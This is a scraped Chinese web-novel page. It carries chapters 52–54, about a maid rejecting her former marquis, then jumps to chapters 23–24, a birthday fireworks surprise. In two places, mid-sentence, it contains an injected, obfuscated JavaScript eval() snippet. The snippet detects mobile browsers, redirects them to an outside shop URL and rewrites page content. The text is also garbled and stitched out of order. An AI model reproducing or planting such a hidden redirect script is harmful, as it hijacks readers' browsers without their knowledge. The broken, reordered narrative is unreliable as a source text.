结果一下子就被白婉瑜手中的油纸伞挡住了,“妹妹,你就是玉雨妹妹吧,你可要我好找啊,妹妹没被这雨水淋湿吧,来我给你擦擦。” 白婉瑜殷勤地不像个御史,倒像个小伙计,从怀里掏出那手帕轻轻擦拭着赵玉雨的额头,油纸伞大半都倾斜给了赵玉雨。 赵玉雨本来想掀翻坎坷,这下直接愣住了都没来得及躲开白婉瑜的手帕,说好的坎坷呢?这不是坎坷这是美人蛇吧。 “玉雨……”身后的声音传来,说不出的可怜悲切,赵玉雨再一瞧差点就要溺死在卫无平的眼眸中,皆是缠人的万般柔情。 “两位,能否让你们的侍从给我们几个递把伞,这还有四个大活人和一个大活狗呢。”张清寒没好气道。 “是是是。”白婉瑜赶紧递了个眼色,侍从们才给其余伙计们递了伞去。 程六水接过伞,一边撇嘴一边审视地透过雨丝看向卫无平此人,桃花眼炸花尾一看就是花心胚子,红艳薄唇妥妥的薄情寡恩,再一看那白婉瑜笑得跟狼外婆一样,有诈绝对有诈! 她上前一把便将玉雨拉入了自己伞下,“卫夫人可别乱叫妹妹,玉雨是我认得干妹妹,要撑伞也是我这个做姐姐的撑伞。” “玉雨不认我这个姐姐,难道也不识得我身后这位吗?”白婉瑜强压住心中火热道,随后侧身便露出了那卫无平。 赵玉雨瞧了那卫无平一眼,胸口就没来由地一阵剧痛,丝丝缕缕侵入心房,才过了数月就算是再没心没肺的人,也总是有些难以割舍的。 “我……”赵玉雨刚想开口道。 “这么大的雨,甭说玉雨看不清,我都看不清卫夫人身后是谁了呢,你说是吧清寒?”程六水笑道。 “是,愿意跟我回酒楼的就回,不愿意就哪凉快哪待着去,我看这河里就挺凉快。”张清寒冷脸道。 卫无平一见张清寒说话了,自然也不敢造次,张清寒虽比他大不了两岁,可这人朝中无人能惹得起,他不在朝中一载,陛下时不时便念叨着,如此上恩还是躲着点为好。 一行人在狂风暴雨中勉强支撑着油纸伞朝着酒楼走去,雨噼里啪啦地下,正如走在最后的卫无平与白婉瑜的心,他们各自心怀鬼胎,却都有一个目的——赵玉雨。 而当赵玉雨在酒楼收拾妥帖,换上了一身干净的衣衫时,都不用等她推开门,白婉瑜便在门外蹲守着。 “玉雨妹妹,我可以进来吗?”白婉瑜难得夹了夹嗓音,愈发的温柔了起来,怕是真来诱骗小红帽的了。 “进来吧。”赵玉雨没有迟疑道。 结果白婉瑜一推开门,好家伙酒楼五人组正襟危坐在房中,目光如炬地看向了白婉瑜。 “白婉瑜这么晚了,有话快说,玉雨身子刚刚好可经不得你这么折腾。”马陶陶扬起脖子,无所顾忌道,反正已经都撕破脸了,管白婉瑜什么御史不御史的,再怎么样她都是被虫子追得满街跑的白婉瑜。 “马陶陶你,看到你我又想起来了,当年你做得好事!害我差点名声扫地!”白婉瑜睁大了双眼,刚才在雨里压根没注意,没想到啊这京中宿敌竟也在这酒楼里。 “白小姐,这里是十全酒楼,不是你们伯远侯府。”乔四方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是了,我毕竟是为人妻的,只要夫君能开怀我便一切都好了。”白婉瑜仿佛真成了贤妻良母道。 “???白婉瑜你啥时候变成这样了?你以前不是号称京城一霸的吗?”马陶陶震惊得嗓子都要破音了,自己硬生生掐了自己一下,才知现下不是在做梦。 这时张清寒才开口道,“白御史你瞒得过别人瞒不过我,皇城司监察百官,你们夫妇既是侯爵又多在御前行走,自然了皇城司也得多加关照,你们夫妇自成亲起便多有不合,甚至闹到分府别住的地步,虽然你哥哥白承茂给压了下来,没多少人知晓,可这却逃不过皇城司的眼睛。你不如直说此次到底是为何而来,如此东拐西拐的岂不费事?” “我们夫妇打是亲骂是爱不行吗?谁说恩爱夫妻就得你侬我侬的,我们打打闹闹才是真。”白婉瑜梗着脖子死犟道,那是一点理都不讲了。 弄得马陶陶瞬间就激动了,白婉瑜从小就是这副鬼样子,真是气得人牙根痒痒,长大了在人前还能装个七七八八,现下就挺不住了原形毕露了吧。 “卫夫人有什么话你就直说吧,说不定我真的会答应你呢。”赵玉雨柔和的面庞泛起了如桃花般的笑容,这笑与寻常不同,却引得白婉瑜立时熄火了。 “真的?我说了你就会答应?”白婉瑜追问道。 “你都不说到底是何事,我又怎么答应呢?”赵玉雨笑道。 “好吧,我先前真的没有骗你,那卫无平对你确实是真心实意的,他发现你失踪后都要疯了。但我想请你回去,也确实不是为了卫无平,我是为了我自己。”白婉瑜这回才老老实实道。 “你自己?”赵玉雨反问道。 “我本就不愿嫁人,可这桩婚约是我父亲的遗愿,就算是皇后娘娘疼惜我也奈何不得,百善孝为先我无奈之下只能嫁了。如今我嫁也嫁了,过得却属实算不上好,张大人的眼线说得不错,卫无平此人狂妄自大从不考虑别人的想法,哪怕我是他的妻子,也不能幸免。 我便生出了要与他和离的念头,然我们成婚不足半载,若是现下我就无缘无故和离,难免遭人非议。对我来日御前行走女官仕途也多有不便,好在我发现了他与你竟还有这般前缘,也是因了我,你们才渐生嫌隙的。 那倘若我走了,你们便可重归于好,我也得了个退位让贤的由头,岂不是皆大欢喜,最多也就是卫无平的名声不太好听,世人会说他宠妾灭妻家宅不宁。可他名声本来也就不怎么好,这点添油加醋的坏名声也不差啥了。”白婉瑜将这前因后果娓娓道来,神情晦暗不明确实也是这段时间过得极不如意了。 而屋外站在屋檐下的卫无平眉头紧锁,他不在乎白婉瑜是如何想,他只想知道玉雨的回答。 53. 第 53 章 烛火幽微光影晃动,或明或暗地打在了赵玉雨的脸上,眼睫轻颤久久未语,方才蹙起的眉始终也没舒展。 小小的一间屋子静得吓人,掉根针都能听见,众人皆屏住呼吸看着赵玉雨,白御使所说无疑是个两全之策,既全了当初赵玉雨所求,又放了白御使自己一条生路。 可当初所求便是如今想要的了吗?程六水紧张地望向玉雨,若她是玉雨,她定不会跟着这个卫侯回京,守着个如此狂妄自大的男人有何用?都不如她做的梨脯有用呢,起码梨脯甜滋滋得好吃,还能润喉止咳。 但她不是赵玉雨,未经他人苦,就莫劝他人善,没人能替玉雨决定接下来的一生该如何走。 “我只是一介弱质女流,肩不能挑手不能扛,在侯府也只学会了些伺候人的本领,我起先实在不知自己有什么能耐在这世上活下去。故而我离开侯府之时,是下了死心的,我本就被爹娘卖了的人,连至亲骨血都能如此对待,如此吃人血肉的世道,我是极怕的。而卫侯比之旁人待我确实好了许多,衣食无忧四季三餐,我虽不知他是否有些许真心,但我的真心是十成十的。”赵玉雨终于开口,眼眸闪动娓娓道来。 此言一出,众人神色各异,白婉瑜眼睛瞬间亮了起来,就差拉着赵玉雨的手送到卫侯手上,来个手牵手心连心。 而马陶陶宛如一只上蹿下跳的猹,挤眉弄眼地都快鼻歪眼斜了,一个劲地给程六水使眼神,全是要阻止赵玉雨不让走的眼色。 她身后的乔四方不知从哪变出了条绳子,这绳子一看就是江湖人使的,粗得吓人要是捆上了怕是半点都动不得的。 程六水接收到了两人的信号,转头龇牙咧嘴了起来,竟玩起了唇语这一招,给张清寒看得一愣愣的。 张清寒要不是在外想着注意形象,脸都得皱巴成大包子了,这说啥呢?拿绳子绑谁?绑卫侯?直接做掉卫侯??? 幸亏张清寒是坐着的,不然都跌到地上,那卫侯可是过了明路出公差来的江陵,要真是出了事上面一定是要问责的,但他转念一想,如果做成铁案也不是不成,京中公侯死在江陵,方知府想要自保必得与他这个皇城司使上下一条心。而眼前这位白御史巴不得离了卫侯呢,和离于名声多少有些不好,但丧偶则不然,新婚夫婿死了,京中少不得多加安抚,简直是百利无一害。 况且山高皇帝远,待到陛下再派人来查,哪里还能查到什么,张清寒三五瞬间朝着程六水郑重地点了点头,难度虽大但能做,自己办事六水放心。 程六水不知所措地瞅着张清寒异常认真的脸,她不是只是让张清寒用这绳子吓唬吓唬卫侯,给这么个外强中干的货色吓跑,这样玉雨就算想跟着走也走不成了,怎么东家这般吓坏人的神情。 在酒楼几人眼神中生了死死了生的卫侯激动得更是不知所以,只待推开门带着玉雨回京,先前是他的不是,如今他当真知错了,定要好好待玉雨。 “可惜我终究离了侯府数月,圈养惯了的鸟儿当然觉着哪都没有金丝笼舒坦,可只有飞了出去才知这世道也是能活上一活的,无需卫侯庇佑我仍能自食其力地活着,靠着我的手脚衣食丰足。他当初能给我的,我自己也能给,至于他的真心我要那东西着实没什么用……” 赵玉雨温和笑道,说到着看向程六水接着道,“都不如六水做得梨脯有用。” !!!程六水顿时腰板做得溜直儿,就是个儿不够高,不然都得顶破房顶几片瓦,不是她自夸,她就知道自己这手艺公侯都不换,小手嗖嗖几下,咧着嘴笑得大板牙都露出来,递了个小筐子给赵玉雨。 赵玉雨正在那儿劝白婉瑜呢,低头一瞧梨脯??? “白小姐,我在这里生活得很好,京城太大侯府太空,不是我能待得地方。”赵玉雨捧着个小筐子劝道。 “青天大老爷啊,那我可如何是好?这日子我是一天都过不下去了,这侯府谁爱待谁待吧,我就算不和离我也要回哥哥那儿住。”白婉瑜天塌了般哀嚎道。 “哼还说我天天哥哥的,我看你也没好到哪去。”马陶陶撇着嘴走到白婉瑜身旁道,说着便塞了个梨脯到白婉瑜嘴里,“心里苦就多吃点甜的,吵死了你。” “既然玉雨不能同卫侯回去,你可以给卫侯安排别人啊,最好多安排几个花魁做个局,到时候那卫侯流连烟花柳巷的名声一传扬开,不就成了吗?”程六水目光清澈道,果然穿越前的宅斗宫斗文没白看,缺德招儿全记脑子里了。 “对啊,你说得对啊!”白婉瑜一拍大腿,这招好啊她怎么没想到呢。 “咳咳。”张清寒早就察觉到屋外有人,眼见这几人说话越来越跑偏,赶忙出言提醒道。 话音刚落,房门便被一下子推开,只见来人面色苍白桃花眼中瞧着仍是柔情万分,却暗含三分狠厉,显然是听了赵玉雨的决绝,终是按捺不住本性了。 “卫侯别来无恙。”张清寒面色如常开口道。 “不想京中一别,竟能在江陵这小小酒楼见着张大人,还真是本侯的荣幸。”卫侯薄唇轻启,倨傲挑眉道,目光越过众人,毫不掩饰地看向赵玉雨,鹰眼狼顾般圈住了她。 “实则不敢当,侯爷言过了。”张清寒直截了当地站在了众人身前,阻挡住了卫侯。 “呵,昔日京中大人手伸得就长,满朝文武皆在你监视之下,如今隐居于此,手竟然还这么长,怎的连本侯的家事也要管吗?”卫侯上前一步,扬着头毫不避讳地与张清寒对峙起来。 “侯爷,我如今与侯府毫无瓜葛,属实是说不上什么家事。”轻轻柔柔的声音传来,赵玉雨笑道。 此言一出,本来趾高气昂心高气傲的卫侯瞬间如丧家之犬般塌了脊梁,他勉强撑起脸皮,声音颤抖道,“……玉雨,你说你我毫无瓜葛?” 如此一张楚楚可怜的桃花面,只此一眼赵玉雨便险些站不住,侧脸愣了几瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715404|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才道,“诸位,我想与卫侯单独谈谈。” “好好好!”酒楼众人十分配合地拽着个泪眼懵懵的白小姐就往外跑,还不忘关上门,然后又开始扒起了门缝…… “我们这样是不是不太好啊?”乔四方挠了挠脑袋小小声道。 “是不太好,但万一卫侯这老小子趁我们不在,把玉雨掳走了怎么办?”马陶陶振振有词道。 “说得有道理。”程六水听完甚觉有理,不禁点了点头,十分安心地听了起来。 屋内起初静悄悄的,一双男女执手相看泪眼,皆是悲痛从心来,只听那卫侯道,“玉雨跟我回去吧,莫说是妾室,待我与那白婉瑜和离,那正妻之位都是你的,你便做这侯府唯一的女主人可好?” 赵玉雨着实惊到了,忍不住后退几步,怔愣片刻才苦笑道,“从前你连个妾室的名分都不愿给我,你我分离几月,却能忤逆祖宗,要迎我这庶民入门?” 她看着卫无平眼里的一丝闪烁躲避,了然于胸道,“你做不到的,你惯会哄骗我,先前拿你的真心哄骗我,如今拿着名分哄骗我,你于我从来都是三分真七分假。” “玉雨,我于你从来都是十分真,我是不能忤逆祖宗礼法,大不了我不娶正妻了,唯你一个妾室,你想要的真心名分我都予你,你离开的这段日子,我方知我不能没了你啊。”卫侯眼角微红,殷红的唇狠狠抿起,高大的身影牢牢地困住了赵玉雨,嘴上说着讨饶的软话却强势地欲占据赵玉雨的心神。 赵玉雨坐在圈椅里,无视着卫无平的癫狂,伸出手从小筐子里拿出了一个梨脯,一入口便是砀山梨的清甜润弹,用野蜂蜜腌煎过的,槐花蜜的花香裹着梨子,轻嚼两下便是直达心坎里的幸福。 “你需要娶正妻,当初你娶白小姐便是为了结两姓之好,巩固长安侯府在朝中的权势声望,没了白小姐定还会有张小姐李小姐的。但其实我并不在意你娶谁,不是因为我不爱拈酸吃醋,而是因为我不爱你了卫无平。 方才你眼角微红的求我,放在数月前我见你难受,我定是比你还难受百倍,可方才我只是在想你当真是生了张好面孔,亏得白小姐见多识广没着了你的道。 未见你时,我说了许多话,说我有手有脚能养活自己,说我不求你真心不愿回京。唯独没说,我不再心悦于你,可现下见到你,我才知我的心比我想得狠多了,它早就不爱你了。”赵玉雨浅浅回道,古井无波的杏眼里只剩下怜悯。 卫无平听罢面目狰狞,不禁冷笑起来,“你不爱我?我不管你爱不爱我,我只要你在我身边,三年五年十年一辈子,就算你永远不爱我,你也只能装出那副爱我欲生欲死的模样。玉雨,这世上没人在意你,你爹娘不要你了,只有我还要你,你不爱我你去爱谁?” 赵玉雨还未说话,屋外扒门缝的程六水就已经气得咬牙切齿的,手里比蛇还粗的绳子都准备好了,这个卫侯简直就是个老登!!!活该被绑! 54. 第 54 章 此话一出,屋内愈发寂静,酒楼几人在外面是什么也听不见,忽而“哐当”一声重重砸了下来,吓得马陶陶一着急直接不管不顾地推门而入,定睛一瞧立时傻了眼。 方才还在这大放厥词的卫侯爷趴在地上如同一只待宰的羔羊,连程六水手中的绳子都没了用武之地。再一看那卫侯脸色苍白得吓人,两眼一闭双腿一蹬刹那间就不省人事了。 程六水愣了一愣,还是默默地拿着绳子绑住了卫无平的双手,这才放下心来道,“玉雨,你这身手不错啊,打人一打一个准。” “。。。我没有,这只是个意外。”赵玉雨眨巴眨巴了眼睛,转身低头看去。 一只通体雪白毛茸茸的小哈巴狗扬起了无辜的脑袋,讨好地“汪”了一声,它那后爪子上缠着几根灰线,这线本是赵玉雨针线筐里的,不知怎么就被这小狗子钓了去,东缠缠西玩玩。 偏生这只小哈巴狗天生不爱叫,生得四腿矮小,方才众人的注意力都在卫侯身上,竟无人发现小狗子在玩线团的过程中,早已在这屋子里布下了天罗地网,那卫侯方才一激动直接就大步跨出要强行带赵玉雨离开。 一个不留神,就被小狗子后爪与桌子腿相连的粗灰线绊倒,若只是平常绊倒倒也不打紧,怎奈卫侯下意识一个伸手抓向了桌上的梨脯小筐子,十成十的槐花蜜早就在不知不觉中渗透在了小筐子底部。 小筐子被一拽瞬间打起了出溜滑,倒霉的卫侯啥也没抓住,自己还大力出奇迹直直朝着身后仰去,好看的后脑勺好巧不巧撞上了杜少仲临走前酿的几坛好酒。 赵玉雨本就近来经常请教杜少仲酿酒的法子,前几日取来酒坛向研究一二,哪想到竟这么巧,卫侯的后脑勺愣是没有酒坛子硬,电光火石间就撞晕了,摔在地上成了个狗吃屎。 众人听完这一番曲折经历后,神色皆是难以形容,明明卫侯都摔晕了,可程六水怎么就是有点莫名地想笑呢,这笑里既解气又幸灾乐祸,可她好歹算是个厚道人,笑得太明显不好吧? 程六水再一看那卫侯大脑袋旁的酒坛子碎片,盛着去岁冬时杜少仲最为金贵的菊花白酒,小哈巴狗不知何时颠颠跑了过去,伸出粉色小舌头欢快地舔着,越舔越摇头晃脑的,不一会儿就栽楞着身子趴在卫侯的大脑袋上呼呼大睡了。 “呜呜呜嘿嘿呜呜嘿嘿。”程六水是再也忍不住了,只能用袖子捂住快咧到后脑勺的嘴,控住不住地出声。 “。。。笑吧。”张清寒被这似哭似笑的声音一激,也没忍住说罢便哈哈哈大笑起来。 满屋子里皆是众人此起彼伏的笑声,大笑如打哈欠般迅速感染了所有人,当然除了在地上昏迷不醒的卫侯和醉倒的小哈巴狗。 “哈哈哈真是恶人自有恶人磨,叫他猖狂叫他嘚瑟,还敢威胁玉雨,我看他是好日子过到头了乐极生悲。”马陶陶笑得前仰后合道。 “不如趁他昏迷不醒,直接把他做掉吧?”微弱却坚定的声音在众人的哈哈哈声中异常清晰。 乔四方转头看向说话之人,好家伙最想做掉卫侯的人竟是白小姐?真是夫妻本是同林鸟,大难临头各自飞。不对他俩不是各自飞,俩人都是对方的大难啊。 “倒也是不必吧,他生来本就是这样的人,算不上十恶不赦,只是令人厌恶无比。”赵玉雨皱了皱眉开口道。 紧接着又道,“如今倒春寒冷得很,白日里我看断口子河河水更是寒冷彻骨,不如把卫无平踹下去涮几回,这样就算是解气了。” 程六水听罢悄摸摸抱住了自己的小胳膊,那河水前几日才刚刚化冻,雨后更是嗷嗷冷,好怕好怕哦。 “我看行!到时候他再大病一场,他小时候就身子骨不好,最好把他那病根都激出来,待他卧床个一年半载,我就说他不能人事跟他和离!”白婉瑜一个劲地点头,越说越来劲拉着赵玉雨就是不放啊。 有的时候,三个人的故事不一定是爱恨别离,但一定是要死要活,至于谁死就说不准了。 可怜的不省人事的卫侯老老实实地躺在了板板上,板车前拴着的是大晚上还要起来干活的怨种小毛驴。 小毛驴不满地喷气,一颠一颠地折腾着板板上卫无平,可那卫无平却半点反应都没有,他那后脑勺虽未流血却鼓起了好大一个包。 在场好几个人竟都没想起来,先给他把把脉医治一下,都在那儿昂首挺胸雄赳赳气昂昂地朝着断口子河前进,而小哈巴狗正窝在暖和和的棉花窝里睡觉,临走前乔四方还不忘给它掖了掖小被子。 “这样四方你给卫侯一下子悠下河去,东家拽着绳他力气大,过一会儿再把卫侯拽上来。”程六水在寂静无边的黑夜里比比划划着,不知道以为是交响乐团首屈一指的指挥家呢。 “那要是他在河水里冻醒了反抗怎么办啊?”马陶陶摸着下巴沉思道。 “没事,东家平时冷着脸就跟个煞神一样,这夜里一瞧更吓人,那卫侯一睁眼说不定以为见着鬼了呢,估计又得给他吓晕过去。”程六水拍了拍马陶陶的肩膀振振有词道。 “。。。我真的吓人吗?”张清寒听了敢怒不敢言,只能转头问乔四方。 “不吓人啊,六水是没见过老大你出任务,现下才哪到哪啊,那你半夜抄家的时候,何止是煞神那就是阎罗王。”乔四方笑呵呵地说道,老实人句句都是大实话啊。 “行了,你也别说话了。”张清寒撇着嘴没好气道,手下绳子拽得更紧了,绳子的那端连着卫侯的手腕,磨得通红甚至冒出了血丝。 “一二三!”程六水一声令下,那人肉铅球就“嗖”的一下飞了出去,张清寒毫不费力地把控着绳子,面无表情地挥舞着上上下下左左右右。 白婉瑜拉着赵玉雨在一旁兴高采烈打着节拍,就差 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“啊!!!”一声极为尖锐的嚎叫响彻了大街小巷,这嚎叫的声音异常熟悉,众人纷纷回头张望起来,那马背上的杜尚书独子杜少仲双目圆睁,直勾勾盯着湿透了的卫侯,结结巴巴地说不话来,下一瞬便从马上栽了下来。 “少仲!”乔四方一个箭步猛猛冲了过去,那如鬼魅般的身影在虚空中闪烁瞬移,千钧一发之时硬生生接住了这位手无缚鸡之力的文弱书生。 “救命!有鬼!”杜少仲震耳欲聋地嘶吼着,直接将自己那最后一点气喊没了,头一歪眼一闭。 “得了又晕一个。”白婉瑜在一旁摇了摇头道。 “快快快,快回酒楼。”张清寒赶着驴车,一贯不紧不慢的脸上也有着些许急迫,赵玉雨担忧皱着眉一路小跑地跟着。 程六水,马陶陶和乔四方三人殿后,走到半路上乔四方挠了挠头道,“我们是不是忘了什么?” “没有吧?”程六水摇了摇头道。 “我也觉得哪里不对,我们是出来干什么来着?”马陶陶仰着头思索道。 程六水圆溜溜的大眼睛顿时立了起来,一拍胳膊道,“遭了忘了个人!” “天老爷啊,把卫侯爷落河边了。”乔四方说罢拔腿就跑,幸亏他是脚程快,这回都用不上驴车了,人肉牛马上线紧赶慢赶背着卫侯回了酒楼。 这一夜一顿折腾,张清寒将卫侯最终安顿在了杜少仲那屋,他挨个把脉瞧两人皆是无事,顶多是卫侯染了些风寒,少仲心悸受惊而已,熬了黑苦黑苦的药汤强灌下去。 众人安心地锁好了杜少仲的房门,打着哈欠十分困地各回各房睡觉去了,谁家好人也经不起这样的折腾啊。 日上三竿,静谧的屋子里发出了细微的声响,一双极招人的桃花眼睁开了,以往的狠厉倨傲悄然消失了,取而代之的是不曾有过的懵懂天真。 23-30 第23章 长寿面 漫天风雪飘落在高耸入云的雪峰之巅,峰上有颗梅,殷红的六瓣梅独立于雪中,簇簇花下藏着颗刚刚结成的青梅,又酸又涩,一戳汁水便溅湿了那六瓣梅。 程六水被这双眼惑住了心神,耳边是急促的喘息,她那小心脏也随着这喘息扑通扑通跳了起来。 骤然间,她胸中有股没来由的冲动,伸出手想去触碰这个从来都胸有成算的男人,此时的他只不过是莫名其妙委屈巴巴的可怜虫。 但程六水没有,她的剧本里不是这么写的,绝对不能因为男人的示弱心软!这说不定只是另一个试探,不惜搭上美色的诱饵。 这头大尾巴狼几个月来都道貌岸然地装作不认识自己,暗中观察着自己的一举一动。天知道她刚从梦中惊醒时有多害怕,怕得差点就又要收拾东西去逃命了,但细细想来,张清寒似乎也没做什么不好的事情,为人和善按时发工钱,是个顶顶好的老板了。 不一会儿这滔天的害怕就没了,可随之而来的就是一股咬牙切齿的恼羞成怒,毕竟没人想做玻璃鱼缸里的金鱼,金鱼要奋起!要砸破鱼缸!要刺破某人的心脏! 这恼羞成怒的情绪迫使程六水及时悬崖勒马,那马上就要触及到张清寒颤抖眼睫的手,麻溜儿地拐了个弯,顺便抓了抓怀里的彩布条,头一歪就看见了帘子下面的硝石。 哦?所以张清寒已经看到她故意放在这里的硝石了?那他不应该疑心更重吗?最好质问她说她几句才好呢,为什么还跑过来说什么不让她走的话? “你都看到了?”程六水低下头了几瞬,再一次看向张清寒时,脸上便是那心虚的小表情,生怕别人不知道她干坏事了。 张清寒深吸一口气道,“我什么都没看到。”没看到程六水在摆弄那些炸药火药,没看到她要走的心,他统统可以装作看不见,自欺欺人就能多留住她一会儿。 “你没看到?”程六水这回声音倒是大了很多,那么老大个硝石啊,就在那明晃晃摆着呢,这张清寒是不是眼瞎啊? 她故意走到帘子旁开窗子,偏偏一不小心被大硝石绊倒,“哎呦,这什么东西啊?” 张清寒这回看都不看了,他直接默默地把门关上了,回去吃他的咖喱饭去了。 显然程六水剧本里就没有这段,气得她直跳脚,大概也确实是被绊疼了吧。 早已回房的伙计们这才敢探头探脑出来,他们不是手里扎着灯笼,就是做着花灯,尤其是那乔四方一双大手居然还叠起千纸鹤来。 程六水目光坚定道,“计划不变,今晚执行。” 众人皆点了点头,手里的活计也愈发快了起来,这里面尤其是赵玉雨的灯笼扎得又快又好,程六水一边小心地手里将硫磺粉,硝石粉还有木炭混合在一起,一边还是忍不住被那灯笼吸引着。 五彩锦鲤灯笼扎得惟妙惟肖,仿佛真如那水中游来游去的鱼儿一样,而那兔儿灯做得则玉雪可爱,雪白色的大耳朵耷拉在两边,宝石红兔眼好看极了,憨态可掬地卧倒在桌子上。 “玉雨,你这灯笼扎的真好看。”好看到像是程六水在非遗展览里见过的样子,她忍不住赞叹道。 “小时候在家里就是做灯笼 生意的,我也就学做了点。“赵玉雨不好意思地笑了笑,这莞尔一笑露出了唇边的梨涡,一张脸瞬间鲜活生动了起来。 “听你的口音是京城来的?”马陶陶正在修剪彩布条,再将这些布条精致地缝成形状各异的飘带。 “我在京城大户人家做过几年工。”赵玉雨似乎很为难地答道,显然是不愿提起这段过往。 杜少仲却心里划了个疑影,这声音怎么有点耳熟,这张脸也很熟悉,但就是记不得在哪遇到过了。 “我们这里很好的,酒楼生意不错东家也是个好人,你来这里打工不亏的……”程六水如同一个职场老鸟,小嘴叭叭介绍起了优缺点。 赵玉雨好奇地看向程六水,她看得懂旁人正在做的东西,可程六水在那里鼓捣些石头,甚至还戴上了一双奇怪的手套,那手套不似冬天保暖穿的,很薄却不知有何用处。 他们所有人都躲在程六水的房间里紧罗密布地做最后的准备工作,方才出去的乔四方贼头贼脑地回来了,饮了好大一碗水道,“我眼瞅着东家朝断崖子河去了,一时半会回不来的。” 说完还做出了副使命必达的表情,像极了一只大型狗狗。 程六水这才放下心来,她大摇大摆地走出了房门,很安心地自己关在了厨房里,噼里啪啦个不停。 一场秋雨一场寒,夜间河边的风更凉了,但怎么也凉不过张清寒的心,他这一颗心拧巴来拧巴去,非但没把自己绕开全弄成死结了。 他师承六白山,山里师兄弟所学皆不同,有的满腹经纶,有的经商有道,自然还有如他这般学剑的,大家依照本心选择,师父们也自然教得畅快。 他的师父顾名思是六白山里极少露面的存在,据传常年待在苦寒无比的六白山主峰,那里冰雪覆盖积年不化,而且师父只有他一个弟子。 唯有他知道,师父哪里是常年待在雪山里,明明是常年不在雪山里,甚至连六白山都不在,早就不知去哪逍遥快活去了,张清寒就在雪山里苦练一年又一年,他原本就是孤儿被捡回来的,这性子愈发淡漠了。 古井无波的心与冰雪交汇在一起,这世间仿佛没什么事能令他拨动心弦,就算是十几岁时被不靠谱的师父踹下山历练,他也只是听从而已。 所遇之人所见之事,有些意思也没什么意思,哪怕是帝王信重朝廷党争,于他而言不过是责任与使命,再多再难的任务都能被他剥茧抽丝,皆是过眼云烟罢了。 但六水不一样,张清寒一见她就被牵动了所有情绪,她笑他就也想笑,她哭他急得也难受得不行。他没有办法控制,只能如同提线木偶一样,被她操控着。 这样的感受来得太快太急,如海水般涌向张清寒的那一刻,他已经来不及逃脱了,况且他也舍不得逃。 张清寒想,这大概就是师父让他下山悟的道吧。与其他师兄弟的师父不同,旁人出师时,师父们皆细细叮嘱,盼其所学能造福天下苍生,不荒废这一场辛苦。 而他的师父却没有这样的期盼,他只说了一句话,“活得像个人就行了,去吧。” 现在他不仅活得像个人了,还是个人了。不再事事抽离淡漠度日,而是活得一会儿笑得像个傻子一会儿哭得像个呆子。 这样的日子很好,比之前的好,他的衣衫头发被断崖子河畔的水气吹得乱七八糟,心思倒是吹齐整了,六水想做什么都好,他就是要赖着她缠着她,这辈子都别想甩脱他。 “东家东家不好了,你快看看吧酒楼出事了。”身后猛然传来了乔四方的声音,惊起了一湾河水。 “出什么事了?又被烧了?”张清寒愣了几瞬才从情感的沼泽中脱离出来,冷着脸问道。 乔四方两颗眼珠子心虚地晃了两下,酒楼出什么事了?六水剧本里没有这句词啊,他本来就一根筋的脑袋,只能记起六水导演导戏时候比比划划的动作,至于到底说了啥他全神游天外不记得了。 眼见张清寒眼神渐渐晦暗起来,乔四方慌不择言脱口而出道,“六水出事了!” 乔四方说了这话更后悔了,他怕张清寒再问句六水出了什么事,那他可真的编不出来了,苍天啊饶了他这个榆木脑袋吧。 所幸张清寒这回压根没问,不仅没问甚至就在乔四方恍神的功夫,那张清寒就消失不见了,耳边只余那凌乱的风声。 已过子时,整条街都暗了,酒楼门前的灯笼也尽数灭了,张清寒鬼魅般的身影从寒风中呼啸而来,快到还以为真见了鬼了呢。 他破门而入,酒楼大堂半根烛火都没有,万籁俱寂丝毫人气都没有,张清寒慌了难不成程六水已然走了,再也不回来了。 “嘣嘣嘣嘣嘣嘣。”忽然间空气中泛起了不寻常的波动,剧烈的声响从张清寒耳边擦过,擦得他心口又热又凉,热得是这声音定是程六水发出的,她没走;凉得是他识得这声音,是程门的炸药,最终六水还是没能做个简简单单的厨子。 他紧闭了双眼一瞬,忍住心中无边的苦涩,已然接受了这样的六水,甚至隐隐安排好了未来的一切。 终于张清寒循着声音发出的方向转身,睁开了紧闭的双眼,冲天的火光撒满了黑夜,冰蓝烟花化作无数条游鱼,跟随着星宿的闪烁起起伏伏,汇聚在银河鹊桥之中,却又时不时翻身跃出,寂静的夜终于不再孤寂,那游鱼钻进了黑暗中便爆开了闪烁的星光,照亮了这片天。 “这是?”张清寒这回是真傻了眼,呆愣在原地,尽管努力维持着该有的体面,但上下嘴皮子还是颤抖地开口道。 “是烟花,东家生辰快乐。”燃烧着温暖烛火的灯笼彩灯亮起,彩带从屋顶各处应声洒落,程六水端着一碗长寿面,笑意盈盈开口道,伙计们则在身后喜笑颜开着。 第24章 暖身十二锅 向来胸有谋算的男人脸上出现了不可置信的呆滞,程六水心里早已笑开了花,要不是大家还在,她都想翻滚在自己的小床上乐得肚子直疼。 惯会怀试探旁人的张清寒,是断断不会想到自己的怀疑换来的却是精心准备生辰惊喜,他但凡有一点良心,不得半夜睡不着起来扇自己呀。 愧疚他的小人之心度君子之怀,愧对酒楼小厨娘的一片赤诚之心,程六水要是他都臊得不好意思吃这碗面了。 过瘾来劲!复仇计划成功! 然后程六水就眼睁睁地看着张清寒很快地接过了她手里的长寿面,低着头一小口一小口吃着,甚至连一颗葱花都不放过,没一会儿那碗面连着汤就一点都不剩了。 程六水眨巴着眼睛,就这么吃了?这人不会是一点良心都没长吧? 伙计们围坐在桌旁,东一句西一句说笑着偷偷准备惊喜的胆战心惊,昏黄的烛火映在温馨的笑脸上。 “哎呦你都不知道那千纸鹤有多难叠,但你别说挂起来还挺好看的。”乔四方小心翼翼拨弄着他一下午的杰作。 